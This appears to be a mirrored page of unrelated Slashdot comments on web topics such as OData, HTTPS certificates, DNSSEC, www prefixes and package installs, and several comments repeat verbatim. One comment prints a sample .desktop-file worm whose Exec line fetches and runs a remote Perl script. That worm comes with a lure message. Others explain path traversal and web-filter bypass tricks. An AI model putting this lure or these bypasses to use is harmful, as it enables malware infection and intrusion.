Slashdot Mirror

OData is (now) a standard for how applications can exchange structured data, oriented towards HTTP and statelessness.

OData consumers and producers are language and platform neutral.

In contrast to something like a REST service, for which clients must be specifically authored and the discovery process is done by humans reading an API doc, ODATA specifies a URI convention and a $metadata format that means OData resources are accessed in a uniform way, and that OData endpoints can have their shape/semantics programmatically discovered.

So for instance, if you have entity named Customer hosted on http://foo.com/myOdataFeed, I can issue an HTTP call like this:

GET http://foo.com/myODataFeed/Cus...

and get your customers.

furthermore, the metadata document describing your customer type will live at

foo.com/myODataFeed/$metadata ... which means I can attach to it with a tool and generate proxy code, if I like. It makes it easy to build a generic OData explorer type tool, or for programs like Excel and BI tools to understand what your data exposes.

Suppose that your Customers have have an integer primary key, (which I discovered from reading $metadata), and have a 1:N association to an ORders entity. I can therefore write this query:

GET http://foo.com/myODataFeed/Cus... .. and get back the Orders for just customer ID:1

I can add additional operators to the query string, like $filter or $sort, and data-optimization operators like $expand or $select.

OData allows an arbitrary web service to mimic many of the semantics of a real database, in a technology neutral way, and critically, in a way that is uniform for anonymous callers and programmatically rigorous/discoverable.

Examples of OData v3 content are available here:

http://services.odata.org/V3/N...

OData V4 is a breaking protocol change from V3 and prior versions, but has been accepted as a standard

And, shameless plug: If you want to consume and build OData V1/V2/V3 services easily, check out Visual Studio LightSwitch :)

OData is (now) a standard for how applications can exchange structured data, oriented towards HTTP and statelessness.

OData consumers and producers are language and platform neutral.

In contrast to something like a REST service, for which clients must be specifically authored and the discovery process is done by humans reading an API doc, ODATA specifies a URI convention and a $metadata format that means OData resources are accessed in a uniform way, and that OData endpoints can have their shape/semantics programmatically discovered.

So for instance, if you have entity named Customer hosted on http://foo.com/myOdataFeed, I can issue an HTTP call like this:

GET http://foo.com/myODataFeed/Cus...

and get your customers.

furthermore, the metadata document describing your customer type will live at

foo.com/myODataFeed/$metadata ... which means I can attach to it with a tool and generate proxy code, if I like. It makes it easy to build a generic OData explorer type tool, or for programs like Excel and BI tools to understand what your data exposes.

Suppose that your Customers have have an integer primary key, (which I discovered from reading $metadata), and have a 1:N association to an ORders entity. I can therefore write this query:

GET http://foo.com/myODataFeed/Cus... .. and get back the Orders for just customer ID:1

I can add additional operators to the query string, like $filter or $sort, and data-optimization operators like $expand or $select.

OData allows an arbitrary web service to mimic many of the semantics of a real database, in a technology neutral way, and critically, in a way that is uniform for anonymous callers and programmatically rigorous/discoverable.

Examples of OData v3 content are available here:

http://services.odata.org/V3/N...

OData V4 is a breaking protocol change from V3 and prior versions, but has been accepted as a standard

And, shameless plug: If you want to consume and build OData V1/V2/V3 services easily, check out Visual Studio LightSwitch :)

OData is (now) a standard for how applications can exchange structured data, oriented towards HTTP and statelessness.

OData consumers and producers are language and platform neutral.

In contrast to something like a REST service, for which clients must be specifically authored and the discovery process is done by humans reading an API doc, ODATA specifies a URI convention and a $metadata format that means OData resources are accessed in a uniform way, and that OData endpoints can have their shape/semantics programmatically discovered.

So for instance, if you have entity named Customer hosted on http://foo.com/myOdataFeed, I can issue an HTTP call like this:

GET http://foo.com/myODataFeed/Cus...

and get your customers.

furthermore, the metadata document describing your customer type will live at

foo.com/myODataFeed/$metadata ... which means I can attach to it with a tool and generate proxy code, if I like. It makes it easy to build a generic OData explorer type tool, or for programs like Excel and BI tools to understand what your data exposes.

Suppose that your Customers have have an integer primary key, (which I discovered from reading $metadata), and have a 1:N association to an ORders entity. I can therefore write this query:

GET http://foo.com/myODataFeed/Cus... .. and get back the Orders for just customer ID:1

I can add additional operators to the query string, like $filter or $sort, and data-optimization operators like $expand or $select.

OData allows an arbitrary web service to mimic many of the semantics of a real database, in a technology neutral way, and critically, in a way that is uniform for anonymous callers and programmatically rigorous/discoverable.

Examples of OData v3 content are available here:

http://services.odata.org/V3/N...

OData V4 is a breaking protocol change from V3 and prior versions, but has been accepted as a standard

And, shameless plug: If you want to consume and build OData V1/V2/V3 services easily, check out Visual Studio LightSwitch :)

That may be troublesome... Note that while DNS comparisons are supposed to be performed case-insensitively, uppercase letters are valid characters.

If your regex-based web filter doesn't canonicalize the domain name first and/or use a case-insensitive regex match, users may be able to circumvent the filter with http://www.foo.com/ (or even http://foo.com/).

Of course, browsers these days do so much "helpful" manipulation on anything typed in the URL bar, I'm not sure you can slip a mixed-case domain through them -- they may just canonicalize it for you. But stuff like wget has no problem using the URL exactly as typed.

That may be troublesome... Note that while DNS comparisons are supposed to be performed case-insensitively, uppercase letters are valid characters.

If your regex-based web filter doesn't canonicalize the domain name first and/or use a case-insensitive regex match, users may be able to circumvent the filter with http://www.foo.com/ (or even http://foo.com/).

Of course, browsers these days do so much "helpful" manipulation on anything typed in the URL bar, I'm not sure you can slip a mixed-case domain through them -- they may just canonicalize it for you. But stuff like wget has no problem using the URL exactly as typed.

I know how it works. Thanks for not even trying, while lecturing me on some the utter basics just because I said "prefix". Gah.

Even now, you see things like "secure.foo.com", "store.foo.com", and "support.foo.com", so I think having "www" as a separate host name makes a lot of sense,

Uhm what? secure.foo.com and store.foo.com also respond to HTTP(S) requests, right? So wouldn't www.store.foo.com make sense? You know, as opposed to the mail server living at mail.foo.com or whatever? And why do we see www.domain.com, and then forums.domain.com, and *not ever* www.forums.domain.com?

In practice, any hostname can be anything. We differentiate by the protocol and port, and http://mail.foo.com/ doesn't do mail stuff just because it has that hostname. So If you're going to said it makes a lot of sense, you'll have to offer at least one valid argument, instead of just patronizing a strawman. I think you're just flattering yourself -- it makes zero sense, but you agree with it, so you need to fix the problem the cheapest way you can.

add to that instances when you need exact information, such as http://test.foo.com/1/2/3/4/342095834/
yeah, have fun writing that down correctly and typing it back in correctly.

I agree, but I'm rather surprised there isn't a software update infrastructure where applications register themselves so you can easily see the status of all your software. Each application would still provide their own updates, digitally signed with a key that was stored when you installed it of course. You install $foo 1.0, it registers the update URL http://foo.com/updates.xml and it'll be signed with $foo's key. The XML contains something like "Version: 1.1, installer: http://foo.com/$foo1.1-installer.exe" that is run provided the signature is good.

You'd probably want to work a little on the format of that XML since some software has multiple supported versions like 3.0.2 and 2.7.2 and you want to able to pull in a security update 2.7.3 without upgrading to the latest version. You probably want a support status like "Latest version", "Maintained version", "Extended support", "Unsupported version" etc. and if there's a new versions you have to pay for then a link to the store. To me this seems a natural extension to the add/remove software list in the control panel. The add/update/remove list...

I agree, but I'm rather surprised there isn't a software update infrastructure where applications register themselves so you can easily see the status of all your software. Each application would still provide their own updates, digitally signed with a key that was stored when you installed it of course. You install $foo 1.0, it registers the update URL http://foo.com/updates.xml and it'll be signed with $foo's key. The XML contains something like "Version: 1.1, installer: http://foo.com/$foo1.1-installer.exe" that is run provided the signature is good.

You'd probably want to work a little on the format of that XML since some software has multiple supported versions like 3.0.2 and 2.7.2 and you want to able to pull in a security update 2.7.3 without upgrading to the latest version. You probably want a support status like "Latest version", "Maintained version", "Extended support", "Unsupported version" etc. and if there's a new versions you have to pay for then a link to the store. To me this seems a natural extension to the add/remove software list in the control panel. The add/update/remove list...

You obviously don't understand the real world well. Web sites are marketing tools. It is marketing people that decide to use a 'vanity' domain/host name. It is 'marketing' people that dictate that the site must work on everyone's computer without throwing scary messages.

So
1) Sure, this is a valid response. I was just pointing out that they are not, in fact, free.
2) Bullshit this is about server capacity and not primarily latency. General purpose CPUs suck at crypto. A piece of commodity hardware that could serve 10,000 requests per second can probably do about 500 2048bit key exchanges per second. And before you go off about GPUs, most servers won't be using them for SSL, and beyond that most places are moving to virtualized hardware. Defeats the purpose of virtualization when you get no VM density...
3) This is not even remotely FUD, it is FACT. There are very few organizations in the world that would write off the large swath of users whose browsers do not support SNI. There are even fewer that would accept a url that looks like https://support.foo.com:97863/ they would just be using https://www.foo.com/support if they didn't care.

To a business a MASSIVE increase in cost, decrease in performance, and scaring off 10-20% of your most skittish users with security warnings is a HUGE problem which makes your customers feel even less secure. In reality the lack of HTTPS is something unwashed geeks worry about and 99% of customers are clueless about.

You obviously don't understand the real world well. Web sites are marketing tools. It is marketing people that decide to use a 'vanity' domain/host name. It is 'marketing' people that dictate that the site must work on everyone's computer without throwing scary messages.

So
1) Sure, this is a valid response. I was just pointing out that they are not, in fact, free.
2) Bullshit this is about server capacity and not primarily latency. General purpose CPUs suck at crypto. A piece of commodity hardware that could serve 10,000 requests per second can probably do about 500 2048bit key exchanges per second. And before you go off about GPUs, most servers won't be using them for SSL, and beyond that most places are moving to virtualized hardware. Defeats the purpose of virtualization when you get no VM density...
3) This is not even remotely FUD, it is FACT. There are very few organizations in the world that would write off the large swath of users whose browsers do not support SNI. There are even fewer that would accept a url that looks like https://support.foo.com:97863/ they would just be using https://www.foo.com/support if they didn't care.

To a business a MASSIVE increase in cost, decrease in performance, and scaring off 10-20% of your most skittish users with security warnings is a HUGE problem which makes your customers feel even less secure. In reality the lack of HTTPS is something unwashed geeks worry about and 99% of customers are clueless about.

Somewhat strong steganographic picture decoder:

The problem is that you're trying to hide traffic in web traffic.

Most media on the unencrypted web is available to everyone. So if Eve sees http://foo.com/hamster.jpg delivered to you, she can request a copy herself and check for binary differences. If you know that a person is hiding data in that sort of traffic, all you need to know is that *something* is hidden, and then you can use conventional surveillance. There's no need to fully defeat the steganography.

With DNSSEC, you could possibly eliminate the SSL certificate authorities and use signed DNS records to include the certificate information (so you can make sure that when you go to https://www.foo.com/, you really got www.foo.com's certificate and not that of a man-in-the-middle attacker).

That would only really work for the most basic type of signing, where the CA is asserting that the certificate is for SSL use on www.foo.com. I suppose the extended validation attributes (like the company's formal business identity) could also be done that way, but I doubt that ISPs are likely to want to get into that game (the liabilities from errors are a good reason to leave that with specialists).

For client certificates, a CA is really best. After all, I'm not a DNS entry, I'm a free man!

You should understand DNSSEC before criticizing it. It doesn't work with SSL-style certificates that have to be signed by a recognized certificate authority. Also, it doesn't change the existing protocol, it extends it in a (mostly) backwards-compatible way. DNS servers just have to know how to request and handle the new additional records; old servers and clients keep working fine.

Your proposed solutions only fix one small piece of the DNS problem, that of spoofed network packets. DNSSEC authenticates the entire response chain, so that (for example) you can be sure that your ISP isn't modifying responses to point you somewhere else (such as their servers) rather than what you requested.

With DNSSEC, you could possibly eliminate the SSL certificate authorities and use signed DNS records to include the certificate information (so you can make sure that when you go to https://www.foo.com/, you really got www.foo.com's certificate and not that of a man-in-the-middle attacker).

How would it allow named virtual hosts? The only thing you have at the network layer is the IP address that the message was sent to, that's why HTTPS virtual hosts is difficult to implement.

When a client makes an initial HTTPS request, there is a high likelihood that they want to submit confidential information. Therefore the browser and server perform an SSL handshake so that the initial client's first GET/POST/WHATEVER is encrypted.

Virtual hosting requires looking at the client-supplied host header value in that GET/POST. In order to return the right SSL certificate we need that host header value to determine which site's cert to serve. But we can't get at that host header value until the SSL negotiation has completed. So virtual hosting for HTTPS on a single IP is simply not possible at present due to this catch-22.

With the idea of SRV records for port values, virtual hosting for HTTPS becomes possible. I simply map each new site's certificate to a new port number. When the client makes a connection, we already know in advance what certificate they are looking for because only one is bound to each specific port.

Under the current schema, we need a discrete IP address per SSL certificate in order to avoid this problem, but with SRV's, we can use a port number to hold the same mapping, without requiring the client to put in :port (which would work today for virtual HTTPS hosting if we could get everyone in the world to somehow know in advance what port number they want).

I suppose a variant of this is possible today. Imagine I have a storefront at foo.com. A client enters store and puts stuff in their cart. They never enter my store by typing HTTPS in their browser. My site could hardcode the link to https://www.foo.com:444/ inside the "Checkout" link, and I could have many other SSL hosts all sharing the same IP in that manner. I can understand why web hosts and their clients wouldn't really like this idea. But the SRV method would be elegant enough to be adopted, IMHO.

Uh, no. Why should small businesses be forced to pay a certificate authority for certificates for appliances (spam filters, etc.), terminal services web pages, external access to webmail and intranet pages over SSL when a self-signed cert (even an expired one) will do? This is a user education issue, not a "let's get rid of it for everyone." It is for corporate use that you can optionally install self-signed certs into any of the mainstream browsers. There is a legitimate need for such things, and forcing everyone to pay for signed certs is a colossal waste of money.

Where it comes to e-commerce though, I agree with you, because however slight the protection may be, there is a very slight assurance that yes, https://www.foo.com/ is actually run by foocorp, not $phisher. Now, the verification process for most certificate resellers is between minimal and nonexistent, but most phishers won't even bother with SSL to begin with.

But let me hazard a guess here: You work for a certificate authority or reseller, right?

But, it doesn't stop me from memorizing things like youtube, last.fm, etc. And I get even more annoyed at everyone's insistence on putting 'www' in front of everything. I still see people type http://www.foo.com.../

It's nearly as annoying as the people who set up their site on www.example.com (or whatever) and don't bother making example.com point to the same place. Half-wits!

FTMFA:
http://www.foo.com/ 302'ing to https://www.foo.com/ - an attacker injected in the middle via DNS can replace the 302 with a 200. Will you notice?

FTMFA:
http://www.foo.com/ 302'ing to https://www.foo.com/ - an attacker injected in the middle via DNS can replace the 302 with a 200. Will you notice?

Under Tools -> IE Tab Options, Sites Filter tab - add the site, wildcarded as needed, for instance like http://foo.com/*

It only sends a hash of the web address. It would be difficult to extrapolate the whole address from a hash.

If the hash is simply of the path, it should be fairly trivial to create a rainbow table. Most sites that use some sort of ID like:
http://foo.com/articles.bar?id=5003242
would be trivial given a pattern, which would easily give you detailed tracking for many sites. And the domain name itself can tell quite a bit...

Does it matter that the folder was named 'asdka9823jcsaosjoda' rather than 'mp3' or 'music' or something similar?

Flash has nothing to do with it. Given that a URL http://www.foo.com/asdka9823jcsaosjoda/bar.mp3 exists, it is obvious that http://www.foo.com/asdka9823jcsaosjoda/ is a URL to try that may contain similar files. It makes no difference that the directory is called "asdka9823jcsaosjoda" verus "mp3" or any other more meaningful name.

Does it matter that the folder was named 'asdka9823jcsaosjoda' rather than 'mp3' or 'music' or something similar?

Flash has nothing to do with it. Given that a URL http://www.foo.com/asdka9823jcsaosjoda/bar.mp3 exists, it is obvious that http://www.foo.com/asdka9823jcsaosjoda/ is a URL to try that may contain similar files. It makes no difference that the directory is called "asdka9823jcsaosjoda" verus "mp3" or any other more meaningful name.

Firstly, all of the funny legal notices are linked to from the main TPB page under 'Legal threats', they are most certainly still there.

Secondly, redirecting from http://www.foo.com/ to just http://foo.com/ is quite common and normal. The domain is owned by the same person/group, as www is just a subdomain, and the redirect just serves to remind users that www is deprecated.

There's a lot more to it at http://no-www.org/ and rest assured that The Pirate Bay is still being operated by the same folk.

Firstly, all of the funny legal notices are linked to from the main TPB page under 'Legal threats', they are most certainly still there.

Secondly, redirecting from http://www.foo.com/ to just http://foo.com/ is quite common and normal. The domain is owned by the same person/group, as www is just a subdomain, and the redirect just serves to remind users that www is deprecated.

There's a lot more to it at http://no-www.org/ and rest assured that The Pirate Bay is still being operated by the same folk.

If the element has an href attribute and a ping attribute and the user follows the hyperlink, the user agent should take the ping attribute's value, strip leading and trailing spaces (U+0020), split the value on sequences of spaces, treat each resulting part as a URI (resolving relative URIs according to element's base URI) and then send a request to each of the resulting URIs

I think what they mean is appending ../ to the end of a URL in an attempt to sneak back to the previous directory.

For instance, when you put in the URL http://www.foo.com/, that might map to the /usr/local/etc/httpd/htdocs folder on the webserver (or whatever, dependendant on your tastes in operating systems and web servers). But what if you put in http://www.foo.com/../? If the system's secure it should just redirect you back to /usr/local/etc/httpd/htdoc, but if the designers didn't catch this, it might drop you straight into /usr/local/etc/httpd/.

I think what they mean is appending ../ to the end of a URL in an attempt to sneak back to the previous directory.

For instance, when you put in the URL http://www.foo.com/, that might map to the /usr/local/etc/httpd/htdocs folder on the webserver (or whatever, dependendant on your tastes in operating systems and web servers). But what if you put in http://www.foo.com/../? If the system's secure it should just redirect you back to /usr/local/etc/httpd/htdoc, but if the designers didn't catch this, it might drop you straight into /usr/local/etc/httpd/.

That is impressive, but I imagine that any catch-all email addresses at foo.com or test.com might beat even that.

wget http://foo.com/foo.deb
dpkg --install foo.deb

### You can set apt to look anywhere you want for packages so you don't have to stick with "official debian".

Sure, you can edit your sources.list for each and every piece of software your install, but that is both annoying and not really problem free, a random third party repo often disapears randomly, changes urls and such and that is a pain to track, so sources.list quite often needs cleanup if you use lots of third party stuff. What I miss is something like 'apt-get install http://foo.com/foo.deb', something that makes the whole sources.list stuff automatic. As nice as apt-get is for official Debian stuff, for third-party stuff its for most part more pain than worth it.

The problem with Linux way of managing software is really that its all central to the distros, autopackage and/or LSB might help, but I have yet to install a first piece of software with those, for the moment compiling from source is often the only way.

This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"

IMO the problem there was the .exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.

And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in .desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?

In fact, look at the following valid worm:

I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!

attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Icon=fakeiconpresentonthesystem.png
Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript

We just need more marketshare to see this work.

...this new search engine does not help people looking for legal content, because that stuff was already easy to find

Legal users never need search engines. Duh!

Bounds match defines the "start and end" of what will be affected. A typical proxo filter will have something like <img*> which means "Everything inside the img tag will be processed by this filter." You can think of it as a prefilter that reduces the search space for complex searches. For example, many proxo filters edit only javascripts, searching for *window*. Without a prefilter that restricted the search to inside <script>*</script> tags, if you went to the Anderson Windows page you'd probably be disappointed with the results :-). Similarly, if you had a 1MB page, it might spend half an hour matching every bit of text to the first *, not finding the word "window", then shifting over one character and re-searching the rest of the page again. (Yes, *window* is a poor regexp, but proxomitron is supposed to be easy even for people without regexp skills.)

Typically, I'll use a bounds of something like <img*>, then a Matching Expression of <img \0 src="\1/dumbPicture.gif" \2 >. Then, I can replace it with something like <img \0 src="\1/coolPicture.jpg" \2>.

The variables \0 through \9 are exactly equivalent to "*" in a regexp, except whatever it matches it stores so you can put it back in the replacement. The way I did it above preserves all the other attributes, replacing only the "src" attribute. And the \1 parameter saves the path "http://www.foo.com/images" portion of the http://www.foo.com/images/dumbPicture.gif URL. The replacement restores it.

It just occurred to me that my example above has the img tag itself included in both the bounds and expression, and so violates the One Definition Rule. It could probably be written as:
Bounds Match: <img*>
Byte limit: 256
Matching Expression: \0 src="\1/dumbPicture.gif" \2
Replacement Text: <img \1 src="\1/coolPicture.jpg" \2>

To answer your second question, it's quite simple. Leave the Bounds Match blank, put in any random value for byte limit, and put the Matching Expression of <end>. Put your desired script in the Replacement text field, like <script>window.close();</script>. Similarly, you can match for <start> to match the start of the page, so you can insert stuff before any of the rest of the page. Try THAT with your greasemonkey!

Is the Web not entirely founded upon hyperlinks? Of course, instead of using in one's page, one could write "http://foo.com" in the text, requiring the user to enter it manually (or copy/paste) into their browser. Though I doubt the average Web user would enjoy that (mind you, such an arrangement would pretty much scare away every AOL user on the Net today...).